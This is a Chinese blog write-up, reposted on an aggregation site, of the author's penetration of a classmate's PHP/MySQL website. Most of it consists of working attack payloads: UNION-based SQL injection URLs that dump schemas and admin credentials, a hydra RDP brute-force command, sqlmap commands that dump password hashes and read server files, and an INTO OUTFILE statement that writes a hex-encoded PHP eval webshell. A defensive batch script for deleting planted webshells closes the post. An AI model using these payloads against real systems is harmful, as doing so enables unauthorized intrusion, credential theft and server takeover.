记一次峰回路转的注入

这篇具有很好参考价值的文章主要介绍了记一次峰回路转的注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0X01 背景

自己之前写过一篇记录,当时是由于之前是一位校友刚做开发,叫我友情帮忙测试一波,由于是开发的新手,漏洞比较多,所以直接从注入开始讲起,但是到getshell的过程也算是一场峰回路转再跌跌撞撞的路程。

0x02 注入测试

判断注入是否存在

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='1'

显示数据

 

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='2'

显示非原本数据

 

判断存在sql注入后,通过order by 子句判断有几个字段

Order by 从1开始,大概选个数逐个去尝试,二分法是最普通的,还可以开根法,还有是方程式法,再好玩一点就动态规划。推荐下面这篇文章,非常有趣,很好懂。

https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q

试到前一个数返回正常,后一个报错,就说明长度是多少了,示例如下

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 27

返回正常

 

那试试payload

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 28

28返回不正常

 

那么可以说明他字段个数是27,而且后面要用到这个数字。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

第二步:联合查询

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以了。

 

对应的数字就会显示在页面中,我把对应数字改成sql语句,就会得到sql查询结果

举例子:

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27

知识点补充:

database()查看当前数据库

@@version查询mysql版本

@@datadir查询数据库路径

我把原来的5,15,21改成查数据库名,mysql版本,数据路径,就会在相应的地方显示出来

 

查询所有数据库名:group_concat(SCHEMA_NAME)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27 from information_schema.schemata

 

查询当前数据库所有表名:group_concat(table_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27 from information_schema.tables where table_schema=database()

 

上述图发现表名:admin,

要查询查询表中的字段先把表名转换为16进制(标黄为表名的16进制转换值)

group_concat(column_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27 from information_schema.columns where table_name=0x61646D696E

 

 

发现其字段有

user_id,username,userpassword

下一步只需要查询username和userpassword即可

group_concat(username,0x7c,userpassword)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27 from admin

 

0x03 峰回路转

到此,我们知道了知道用户名为admin,密码为123了

在之前已经在信息收集的地方收集到后台了,然后尝试登陆,登陆成功了

 

登进后台发现,是真的没有上传地方阿,也没有其他包含,redis其他服务,学信息安全的男生都不会轻易认输,再查看之前的扫描结果,灵机一动还有一根救命稻草,3389!

nmap -Pn -v -p 3306 11X.XX.XXX.XX

Starting Nmap 7.10 ( https://nmap.org ) at 2015-04-04 22:54

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Initiating SYN Stealth Scan at 22:54

Scanning 11X.XX.XXX.XX [1000 port]

Completed SYN Stealth Scan at 22:54, 0.18s elapsed (1 total ports)

Nmap scan report for 11X.XX.XXX.XX

Host is up (0.013s latency).

PORT STATE SERVICE

80/tcp open http

3306/tcp open mysql

3389/tcp open ms-wbt-server

拿出我的字典,再拿出我的hydra,快速在pentestbox 敲下:

hydra -L F:\cybersec\usrname.txt -P F:\cybersec\ password.txt -Vv -t 1 -w 3 -W 5 11X.XX.XXX.XX rdp

结果跑了自己一个心灰意冷,毫无结果。

 

不过还发现开放3306端口,不是有注入吗,直接连数据库getshell呀

太心急想getshell不一步步手工了,sqlmap走起

查看权限

sqlmap -u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user --dbms=mysql -v 3

 

current user: 'root@localhost'

当前用户是root

 

引发报错找到绝对路径+root权限那我是不是可以写shell了

sqlmap -r C:\Users\sqlpost.txt --time-sec 3 --dbms=mysql --random-agent -D mysql -T user -C User,Password --dump

 

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

命令如下:

 

 

结果去访问,又给了自己一个心灰意冷,404

 

Root密码md5丢到解密无果。。。

才没有放弃,醒悟发觉sqlmap有个参数—file-read,发现可以下载页面文件

下载下来就是不是能看到数据库连接的信息。

 

sqlmap -u http://11X.XX.XXX.XX/test/sub_hack.php?id=231 --file-read "C:\\phpstudy\www\test\sub_hack.php" --dbms=mysql -v 3

 

舒服,源码到手,同时发现include数据库连接页面,以同样的方法获取数据库连接密码,开放3306直接连上去,

 

惊喜,意外

 

正常思路应该是这样的

SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "C:\phpStudy\WWW\test\shell.php";

直接写shell上去

不过在这之前我尝试了下用他数据库的密码尝试去登陆远程桌面,又一个惊喜,熟悉的对话框。

 

然后就到此结束了

0x04 划重点

后来才知道现在写shell的函数INTO OUTFILE默认是禁用的了

MySQL在安装时,默认的限制了文件导入导出的路径,是通过配置secure_file_priv的值来实现的

SELECT @@global.secure_file_priv;

查询当前设置的路径

 

只能通过修改配置文件来修改

0x05 文末福利

最近有需求参考写了一个实时删新增文件的批处理文件。用于对抗赛中防止对手上传webshell的脚本上传秒删。只要保存为bat格式双击运行就ok

@echo off&Setlocal enabledelayedexpansion

REM 指定路径

cd /d C:\Users\\Desktop\1

:clearwebshell

for /r . %%a in (*) do (REM 指定时间,超过此时间的文件就删 if "%%~ta" gtr "2018/06/19 21:41" echo had been delete "%%a" )

@ping nullnullnull -n 1 >nul

goto :clearwebshell

更多网安技能的在线实操练习,请点击这里>>文章来源地址https://www.toymoban.com/news/detail-427121.html

到了这里,关于记一次峰回路转的注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 记一次死锁问题

    记一次死锁问题

    最近在做一个需求,碰到了死锁的问题,记录下解决问题的过程 这个需求要改动一个接口,我这边称为A接口,原先的逻辑是A接口内部会调用c方法,c方法是一个dubbo方法, 现在需要再A接口里添加调用B方法,b方法是本地调用。 A接口的入参是某个商品的编码,拿到这个商品编

    2023年04月26日
    浏览(10)
  • 记一次git冲突解决

    在提交mr的时候突然遇到了conflict,这时候意识到没有及时pull代码,脑海中想起了隔壁一起入职的同事经常念叨的一句“每天早上来都pull一下代码”。但是已经迟了 我看了一下,主要是同一个文件,master分支上已经被修改过,然后我要mr的代码也在这个文件上进行了修改。因

    2024年02月05日
    浏览(11)
  • 记一次重大的问题解决

    我们是需要的操作两个git仓库的的三个分支(此处第一个仓库简称:A(负责程序的第一层进入),第二个简称B(负责业务的执行)) 大致就是A的代码引用了B,B的代码引用了A,互为对方的jar包。 问题(部署到测试域之后): 1:请求打进来之后,有时候进,有时候不进,有

    2024年02月21日
    浏览(9)
  • 记一次DateTimeFormat注解的坑

    记一次DateTimeFormat注解的坑

    背景 :在用Echarts做图表时,前端传两个日期参数,获取日期区间的图表数据。想遵循RESTful风格,所以使用get请求获取date参数。前端读取当前日期,将七天前日期和当前日期作为参数传给后端,后端通过Date参数接收。然后后端报错,无法识别前端的date参数。经查阅,可以通

    2024年01月19日
    浏览(14)
  • 记一次springboot项目漏洞挖掘

    前段时间的比赛将该cms作为了题目考察,这个cms的洞也被大佬们吃的差不多了,自己也就借此机会来浅浅测试下这个cms残余漏洞,并记录下这一整个流程,谨以此记给小白师傅们分享下思路,有错误的地方还望大佬们请以指正。 参考官方文档,给出了很详细的安装说明,如安

    2024年02月03日
    浏览(9)
  • 记一次Flink遇到性能瓶颈

    记一次Flink遇到性能瓶颈

    这周的主要时间花在Flink上面,做了一个简单的从文本文件中读取数据,然后存入数据库的例子,能够正常的实现功能,但是遇到个问题,我有四台机器,自己搭建了一个standalone的集群,不论我把并行度设置多少,跑起来的耗时都非常接近,实在是百思不得其解。机器多似乎

    2023年04月15日
    浏览(13)
  • 记一次FastAdmin后台Getshell

    记一次FastAdmin后台Getshell

    FastAdmin 是基于ThinkPHP5和Bootstrap的极速后台开发框架。 基于ThinkPHP行为功能实现的插件机制,拥有丰富的插件和扩展,可直接在线安装卸载 。 基于完善的Auth权限控制管理、无限父子级权限分组、可自由分配子级权限、一个管理员可同时属于多个组别 。 在某次HVV的打点过程中,

    2024年02月07日
    浏览(19)
  • 记一次翻页性能优化

    记一次翻页性能优化

       由于是公司项目,所以不方便给出代码或者视频,只能列一些自己画的流程图。    大致情况如上,前端有7个显示区。在对其进行滚动翻页的时候,存在以下问题:    通过分析代码,调查log发现,翻页切换平均耗时在600ms。其主要的业务逻辑如下: 主要问题有

    2024年02月05日
    浏览(21)
  • 【BugBounty】记一次XSS绕过

    最近一直在看国外的赏金平台,绕waf是真的难受, 记录一下绕过的场景。 一开始尝试XSS,发现用户的输入在title中展示,那么一般来说就是看能否闭合,我们从下面图中可以看到,输入尖括号后被转成了实体。 解释一下什么是html实体编码 HTML实体编码,也即HTML中的转义字符。

    2024年02月08日
    浏览(9)
  • 记一次 Flink 作业启动缓慢

    记一次 Flink 作业启动缓慢

    应用发现,Hadoop集群的hdfs较之前更加缓慢,且离线ELT任务也以前晚半个多小时才能跑完。此前一直没有找到突破口所以没有管他,推测应该重启一下Hadoop集群就可以了。今天突然要重启一个Flink作业,发现有一个过程卡了五分钟。 由上图可知09:36到09:41这两个过程中间花了五

    2024年02月21日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包